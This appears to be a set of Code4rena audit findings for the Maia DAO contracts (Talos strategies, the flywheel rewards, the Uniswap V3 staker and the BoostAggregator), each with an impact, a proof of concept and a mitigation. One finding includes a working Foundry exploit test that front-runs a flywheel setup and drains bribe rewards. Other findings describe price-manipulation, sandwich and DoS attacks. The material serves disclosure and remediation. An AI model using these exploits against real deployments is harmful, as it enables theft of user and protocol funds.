Maia DAO Ecosystem - said's results

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/base/TalosBaseStrategy.sol#L102-L107

Vulnerability details

Impact

checkDeviation modifier is created to protect functions from price manipulation and also prevents placing orders when it's too volatile. However, init call, which mint initial uniswap v3 position, not protected with the modifier.

Proof of Concept

init not use checkDeviation deviation modifier :

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/base/TalosBaseStrategy.sol#L102-L107

    function init(uint256 amount0Desired, uint256 amount1Desired, address receiver)
        external
        virtual
        nonReentrant
        returns (uint256 shares, uint256 amount0, uint256 amount1)
    {
    ....
    }

checkDeviation defined inside the contract :

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/base/TalosBaseStrategy.sol#L423-L427

    modifier checkDeviation() {
        ITalosOptimizer _optimizer = optimizer;
        pool.checkDeviation(_optimizer.maxTwapDeviation(), _optimizer.twapDuration());
        _;
    }

This will cause init still vulnerable to price manipulation and also prevents placing orders when it's too volatile.

Tools Used

Manual review

Recommended Mitigation Steps

add checkDeviation inside init function.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/rewards/rewards/FlywheelAcummulatedRewards.sol#L26 https://github.com/code-423n4/2023-05-maia/blob/main/src/rewards/rewards/FlywheelAcummulatedRewards.sol#L46-L54

Vulnerability details

Impact

When Gauge in initial setup and flywheel is created and added to the gauge via addBribeFlywheel. Malicious user can front-run this to steal rewards, this could happened due to uninitialized endCycle inside FlywheelAcummulatedRewards contract.

Proof of Concept

Consider this scenario :

1. Gauge is first time created, then admin deposit 100 eth to depot reward.
2. FlyWheel also created, using 'FlywheelBribeRewardsthat inherentFlywheelAcummulatedRewards` implementation.
3. Malicious attacker that addBribeFlywheel is about to be called by owner, and front run it by calling incrementGauge a huge amount of gauge token to this gauge.
4. addBribeFlywheel is executed.
5. Now malicious user trigger accrueBribes and claim reward.
6. bribe rewards now stolen, malicious user can immediately decrement his gauge from this contract.

All of this possible, because endCycle is not initialized inside FlywheelAcummulatedRewards when first created :

https://github.com/code-423n4/2023-05-maia/blob/main/src/rewards/rewards/FlywheelAcummulatedRewards.sol#L26-L35

abstract contract FlywheelAcummulatedRewards is BaseFlywheelRewards, IFlywheelAcummulatedRewards {
    using SafeCastLib for uint256;

    /*//////////////////////////////////////////////////////////////
                        REWARDS CONTRACT STATE
    //////////////////////////////////////////////////////////////*/

    /// @inheritdoc IFlywheelAcummulatedRewards
    uint256 public immutable override rewardsCycleLength;

    /// @inheritdoc IFlywheelAcummulatedRewards
    uint256 public override endCycle; // NOTE INITIALIZED INSIDE CONSTRUCTOR

    /**
     * @notice Flywheel Instant Rewards constructor.
     *  @param _flywheel flywheel core contract
     *  @param _rewardsCycleLength the length of a rewards cycle in seconds
     */
    constructor(FlywheelCore _flywheel, uint256 _rewardsCycleLength) BaseFlywheelRewards(_flywheel) {
        rewardsCycleLength = _rewardsCycleLength;
    }
    ...

}

So right after it is created and attached to gauge, distribution of reward can be called immediately via accrueBribes inside gauge, if no previous user put his gauge token into this gauge contract, rewards can easily drained.

Foundry PoC (add this test inside BaseV2GaugeTest.t.sol) :

    function testAccrueAndClaimBribesAbuse() external {
        address alice = address(0xABCD);
        MockERC20 token = new MockERC20("test token", "TKN", 18);
        FlywheelCore flywheel = createFlywheel(token);
        FlywheelBribeRewards bribeRewards = FlywheelBribeRewards(
            address(flywheel.flywheelRewards())
        );
        gaugeToken.setMaxDelegates(1);
        token.mint(address(depot), 100 ether);

        // ALICE SEE THAT THIS IS NEW GAUGE, about to add new NEW FLYWHEEL REWARDS

        // alice put a lot of his hermes or could also get from flash loan
        hermes.mint(alice, 100e18);
        hevm.startPrank(alice);
        hermes.approve(address(gaugeToken), 100e18);
        gaugeToken.mint(alice, 100e18);
        gaugeToken.delegate(alice);
        gaugeToken.incrementGauge(address(gauge), 100e18);
        console.log("hermes total supply");
        console.log(hermes.totalSupply());
        hevm.stopPrank();
        // NEW BRIBE FLYWHEEL IS ADDED
        hevm.expectEmit(true, true, true, true);
        emit AddedBribeFlywheel(flywheel);
        gauge.addBribeFlywheel(flywheel);
        // ALICE ACCRUE BRIBES
        gauge.accrueBribes(alice);
        console.log("bribe rewards balance before claim : ");
        console.log(token.balanceOf(address(bribeRewards)));

        flywheel.claimRewards(alice);
        console.log("bribe rewards balance after claim : ");
        console.log(token.balanceOf(address(bribeRewards)));

        console.log("alice rewards balance : ");
        console.log(token.balanceOf(alice));
        // after steal reward, alice could just disengage from the gauge, and look for another new gauge with new flywheel
        hevm.startPrank(alice);
        gaugeToken.decrementGauge(address(gauge), 100e18);
        hevm.stopPrank();
    }

PoC log output :

  bribe rewards balance before claim : 
  100000000000000000000
  bribe rewards balance after claim : 
  0
  alice rewards balance : 
  100000000000000000000

Tools Used

Manual review

Recommended Mitigation Steps

initialized endCycle inside FlywheelAcummulatedRewards :

    constructor(
        FlywheelCore _flywheel,
        uint256 _rewardsCycleLength
    ) BaseFlywheelRewards(_flywheel) {
        rewardsCycleLength = _rewardsCycleLength;
        endCycle = ((block.timestamp.toUint32() + rewardsCycleLength) /
                rewardsCycleLength) * rewardsCycleLength;        
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/libraries/PoolVariables.sol#L227-L228 https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/libraries/PoolActions.sol#L98-L99

Vulnerability details

Impact

When protocol do rerange or rebalance, it will use all balance inside the talos strategy. This can cause collected protocol fees can't be collected.

Proof of Concept

Inside rerange and rebalance, it will trigger beforeRerange :

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/base/TalosBaseStrategy.sol#L298-L321

    function rerange() external virtual override nonReentrant checkDeviation onlyStrategyManager {
        uint256 _tokenId = tokenId;
        beforeRerange(_tokenId);
        // Redeem all liquidity from pool to rerange for Optimizer's balances.
        _withdrawAll(_tokenId);

        (uint256 amount0, uint256 amount1) = doRerange();
        emit Rerange(tokenId, tickLower, tickUpper, amount0, amount1);

        afterRerange(tokenId); // tokenId changed in doRerange
    }

    /// @inheritdoc ITalosBaseStrategy
    function rebalance() external virtual override nonReentrant checkDeviation onlyStrategyManager {
        uint256 _tokenId = tokenId;
        beforeRerange(_tokenId);
        // Redeem all liquidity from pool to rerange for Optimizer's balances.
        _withdrawAll(_tokenId);

        (uint256 amount0, uint256 amount1) = doRebalance();
        emit Rerange(tokenId, tickLower, tickUpper, amount0, amount1);

        afterRerange(tokenId); // tokenId changed in doRerange
    }

inside beforeRerange, it will try to _earnFees :

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/TalosStrategyStaked.sol#L128

    function beforeRerange(uint256 _tokenId) internal override {
        _earnFees(_tokenId);
        flywheel.accrue(msg.sender);
    }

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/TalosStrategyVanilla.sol#L94-L96

    function beforeRerange(uint256 _tokenId) internal override {
        _earnFees(_tokenId);
    }

And it will collect the fee and add it into protocolFees0 and protocolFees1 :

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/TalosStrategyVanilla.sol#L104-L125

    function _earnFees(uint256 _tokenId) internal {
        if (liquidity == 0) return; // no fees to collect when liquidity is zero

        (uint256 collect0, uint256 collect1) = nonfungiblePositionManager.collect(
            INonfungiblePositionManager.CollectParams({
                tokenId: _tokenId,
                recipient: address(this),
                amount0Max: type(uint128).max,
                amount1Max: type(uint128).max
            })
        );

        uint24 _protocolFee = protocolFee;
        uint24 _GLOBAL_DIVISIONER = GLOBAL_DIVISIONER;

        // Calculate protocol's fees
        uint256 earnedProtocolFees0 = (collect0 * _protocolFee) / _GLOBAL_DIVISIONER;
        uint256 earnedProtocolFees1 = (collect1 * _protocolFee) / _GLOBAL_DIVISIONER;
        protocolFees0 += earnedProtocolFees0;
        protocolFees1 += earnedProtocolFees1;
        emit CollectFees(earnedProtocolFees0, earnedProtocolFees1, collect0, collect1);
    }

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/TalosStrategyStaked.sol#L147-L158

    function _earnFees(uint256 _tokenId) internal {
        if (liquidity == 0) return; // can't unstake when liquidity is zero

        // If not staked, collect fees from the pool
        if (stakeFlag) {
            _unstake(_tokenId);
        } else {
            (uint256 collect0, uint256 collect1) = nonfungiblePositionManager.collect(
                INonfungiblePositionManager.CollectParams({
                    tokenId: _tokenId,
                    recipient: address(this),
                    amount0Max: type(uint128).max,
                    amount1Max: type(uint128).max
                })
            );

            // Calculate protocol's fees
            protocolFees0 += collect0;
            protocolFees1 += collect1;
        }
    }

However, when rerange happened, all balance of strategy will be considered and used :

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/libraries/PoolActions.sol#L98-L99

    function getThisPositionTicks(
        IUniswapV3Pool pool,
        ERC20 token0,
        ERC20 token1,
        int24 baseThreshold,
        int24 tickSpacing
    ) private view returns (uint256 balance0, uint256 balance1, int24 tickLower, int24 tickUpper) {
        // Emit snapshot to record balances
        balance0 = token0.balanceOf(address(this));
        balance1 = token1.balanceOf(address(this));

        //Get exact ticks depending on Optimizer's balances
        (tickLower, tickUpper) = pool.getPositionTicks(balance0, balance1, baseThreshold, tickSpacing);
    }

Also the same when rebalance happened and calculate the swap amount:

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/libraries/PoolVariables.sol#L227-L228

    function getSwapToEqualAmountsParams(
        IUniswapV3Pool _pool,
        ITalosOptimizer _strategy,
        int24 _tickSpacing,
        int24 baseThreshold,
        ERC20 _token0,
        ERC20 _token1
    ) internal returns (bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96) {
        PoolVariables.Info memory cache;

        cache.amount0Desired = _token0.balanceOf(address(this));
        cache.amount1Desired = _token1.balanceOf(address(this));
       ...
}

This can cause collected protocol fees can't be collected.

Foundry PoC :

    function testRebalance() public {
        uint256 amount0Desired = 100000;

        TalosStrategyVanilla secondTalosStrategyVanilla = new TalosStrategyVanilla(
                pool,
                strategyOptimizer,
                nonfungiblePositionManager,
                address(this),
                address(this)
            );
        initTalosStrategy(secondTalosStrategyVanilla);

        deposit(amount0Desired, amount0Desired, user1);
        deposit(amount0Desired, amount0Desired, user2);

        _deposit(
            amount0Desired,
            amount0Desired,
            user1,
            secondTalosStrategyVanilla
        );
        _deposit(
            amount0Desired,
            amount0Desired,
            user2,
            secondTalosStrategyVanilla
        );

        poolDisbalancer(30);

        hevm.expectEmit(true, true, true, true);
        // emit Rerange(-12360, -5280, 59402, 179537); // From Popsicle
        emit Rerange(
            talosBaseStrategy.tokenId() + 2,
            -12360,
            -5280,
            59455,
            179687
        );

        talosBaseStrategy.rebalance();
        console2.log("protocol fees collected :");
        console2.log(talosBaseStrategy.protocolFees0());
        console2.log(talosBaseStrategy.protocolFees1());
        console2.log("balance of token in protocols :");
        console2.log(
            ERC20(pool.token0()).balanceOf(address(talosBaseStrategy))
        );
        console2.log(
            ERC20(pool.token1()).balanceOf(address(talosBaseStrategy))
        );
    }

Output :

  protocol fees collected :
  213
  154
  balance of token in protocols :
  254
  0

Tools Used

Manual review

Recommended Mitigation Steps

Consider to decrease processed amount in rebalance and rerange with collected protocol fees

Assessed type

Error

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/uni-v3-staker/UniswapV3Staker.sol#L362 https://github.com/code-423n4/2023-05-maia/blob/main/src/uni-v3-staker/UniswapV3Staker.sol#L357 https://github.com/code-423n4/2023-05-maia/blob/main/src/uni-v3-staker/UniswapV3Staker.sol#L374

Vulnerability details

Impact

staked token should be able to be unstaked by anyone after past the end time of incentive key. However, current implementation not allow this functionality to work. This can make incentive prone to DoS.

Proof of Concept

This is current implementation inside unstakeToken :

https://github.com/code-423n4/2023-05-maia/blob/main/src/uni-v3-staker/UniswapV3Staker.sol#L355-L363

    function unstakeToken(uint256 tokenId) external {
        IncentiveKey storage incentiveId = stakedIncentiveKey[tokenId];
        if (incentiveId.startTime != 0) _unstakeToken(incentiveId, tokenId, true); // is not restake should be false to make the functionality work as intended
    }

    /// @inheritdoc IUniswapV3Staker
    function unstakeToken(IncentiveKey memory key, uint256 tokenId) external {
        _unstakeToken(key, tokenId, true); // is not restake should be false to make the functionality work as intended
    }

And this is the check inside _unstakeToken :

https://github.com/code-423n4/2023-05-maia/blob/main/src/uni-v3-staker/UniswapV3Staker.sol#L374C1-L374C1

    function _unstakeToken(IncentiveKey memory key, uint256 tokenId, bool isNotRestake) private {
        Deposit storage deposit = deposits[tokenId];

        (uint96 endTime, uint256 stakedDuration) =
            IncentiveTime.getEndAndDuration(key.startTime, deposit.stakedTimestamp, block.timestamp);

        address owner = deposit.owner;

        // anyone can call restakeToken if the block time is after the end time of the incentive
        if ((isNotRestake || block.timestamp < endTime) && owner != msg.sender) revert NotCalledByOwner();

        ...
}

Because inside unstakeToken, isNotRestake is set to true, even after past the endTIme, only owner allowed to successfully unstake token. This design will allow malicious staker put dust liquidity and intentionally not unstaking it so incentive can't be ended and unclaimed reward will be stuck.

Tools Used

Manual review

Recommended Mitigation Steps

Set isNotRestake is set to false inside unstakeToken functions :

    function unstakeToken(uint256 tokenId) external {
        IncentiveKey storage incentiveId = stakedIncentiveKey[tokenId];
        if (incentiveId.startTime != 0) _unstakeToken(incentiveId, tokenId, false); 
    }

    /// @inheritdoc IUniswapV3Staker
    function unstakeToken(IncentiveKey memory key, uint256 tokenId) external {
        _unstakeToken(key, tokenId, false); 
    }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/base/TalosBaseStrategy.sol#L147 https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/base/TalosBaseStrategy.sol#L208 https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/base/TalosBaseStrategy.sol#L269 https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/base/TalosBaseStrategy.sol#L359 https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/libraries/PoolActions.sol#L85

Vulnerability details

Impact

Interactions with the uniswap v3 operations put block.timestamp as deadline , this mean miner can manipulate which block operations can be included, that can benefit for the miner to deny or include the transaction.

Proof of Concept

For example, malicious miner can sandwich the rerange or rebalance operation to get profit right before hit the twap max deviation check :

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/base/TalosBaseStrategy.sol#L349-L371

    function _withdrawAll(uint256 _tokenId) internal {
        uint128 _liquidity = liquidity; // Saves an extra SLOAD if totalSupply is non-zero.
        if (_liquidity == 0) return;
        INonfungiblePositionManager _nonfungiblePositionManager = nonfungiblePositionManager;
        _nonfungiblePositionManager.decreaseLiquidity(
            INonfungiblePositionManager.DecreaseLiquidityParams({
                tokenId: _tokenId,
                liquidity: _liquidity,
                amount0Min: 0,
                amount1Min: 0,
                deadline: block.timestamp
            })
        );
        liquidity = 0;
        _nonfungiblePositionManager.collect(
            INonfungiblePositionManager.CollectParams({
                tokenId: _tokenId,
                recipient: address(this),
                amount0Max: type(uint128).max,
                amount1Max: type(uint128).max
            })
        );
    }

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/libraries/PoolActions.sol#L73-L87 :

    function rerange(
        INonfungiblePositionManager nonfungiblePositionManager,
        ActionParams memory actionParams,
        uint24 poolFee
    )
        internal
        returns (int24 tickLower, int24 tickUpper, uint256 amount0, uint256 amount1, uint256 tokenId, uint128 liquidity)
    {
        int24 baseThreshold = actionParams.tickSpacing * actionParams.optimizer.tickRangeMultiplier();

        uint256 balance0;
        uint256 balance1;
        (balance0, balance1, tickLower, tickUpper) = getThisPositionTicks(
            actionParams.pool, actionParams.token0, actionParams.token1, baseThreshold, actionParams.tickSpacing
        );
        emit Snapshot(balance0, balance1);

        (tokenId, liquidity, amount0, amount1) = nonfungiblePositionManager.mint(
            INonfungiblePositionManager.MintParams({
                token0: address(actionParams.token0),
                token1: address(actionParams.token1),
                fee: poolFee,
                tickLower: tickLower,
                tickUpper: tickUpper,
                amount0Desired: balance0,
                amount1Desired: balance1,
                amount0Min: 0,
                amount1Min: 0,
                recipient: address(this),
                deadline: block.timestamp
            })
        );
    }

While max deviation check is protecting from price slippage, malicious miner still can manipulate and get profit by doing transaction that still inside the price deviation changes.

Tools Used

Manual review

Recommended Mitigation Steps

Add deadline arguments to all uniswap v3 interactions and pass it to the calls.

Assessed type

MEV

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/boost-aggregator/BoostAggregator.sol#L109-L136 https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/boost-aggregator/BoostAggregator.sol#L86

Vulnerability details

Impact

When BoosAggregator's unstakeAndWithdraw triggered, it will try to unstake uniswap NFT position token from staker, get the pending rewards and if condition met, update strategy and protocol rewards accounting and claim the rewards for strategy and finally withdraw NFT position token from staker. However, if pendingRewards lower than DIVISIONER the accounting will not happened and can cause reward loss.

Proof of Concept

Inside unstakeAndWithdraw, if pendingRewards lower than DIVISIONER, the accounting update for protocolRewards and claim rewards for strategy not happened :

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/boost-aggregator/BoostAggregator.sol#L109-L136

    function unstakeAndWithdraw(uint256 tokenId) external {
        address user = tokenIdToUser[tokenId];
        if (user != msg.sender) revert NotTokenIdOwner();

        // unstake NFT from Uniswap V3 Staker
        uniswapV3Staker.unstakeToken(tokenId);

        uint256 pendingRewards = uniswapV3Staker.tokenIdRewards(tokenId) - tokenIdRewards[tokenId];

        if (pendingRewards > DIVISIONER) {
            uint256 newProtocolRewards = (pendingRewards * protocolFee) / DIVISIONER;
            /// @dev protocol rewards stay in stake contract
            protocolRewards += newProtocolRewards;
            pendingRewards -= newProtocolRewards;

            address rewardsDepot = userToRewardsDepot[user];
            if (rewardsDepot != address(0)) {
                // claim rewards to user's rewardsDepot
                uniswapV3Staker.claimReward(rewardsDepot, pendingRewards);
            } else {
                // claim rewards to user
                uniswapV3Staker.claimReward(user, pendingRewards);
            }
        }

        // withdraw rewards from Uniswap V3 Staker
        uniswapV3Staker.withdrawToken(tokenId, user, "");
    }

However, when the token staked again via BoosAggregator by sending the NFT position back, the tokenIdRewards rewards updated, so the previous unaccounted rewards will be loss :

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/boost-aggregator/BoostAggregator.sol#L79-L93

    function onERC721Received(address, address from, uint256 tokenId, bytes calldata)
        external
        override
        onlyWhitelisted(from)
        returns (bytes4)
    {
        // update tokenIdRewards prior to staking
        tokenIdRewards[tokenId] = uniswapV3Staker.tokenIdRewards(tokenId);
        // map tokenId to user
        tokenIdToUser[tokenId] = from;
        // stake NFT to Uniswap V3 Staker
        nonfungiblePositionManager.safeTransferFrom(address(this), address(uniswapV3Staker), tokenId);

        return this.onERC721Received.selector;
    }

Tools Used

Manual review

Recommended Mitigation Steps

Two things can be done here, either just claim reward to strategy without taking the protocol fee, or take the amount fully for protocol.

Assessed type

Error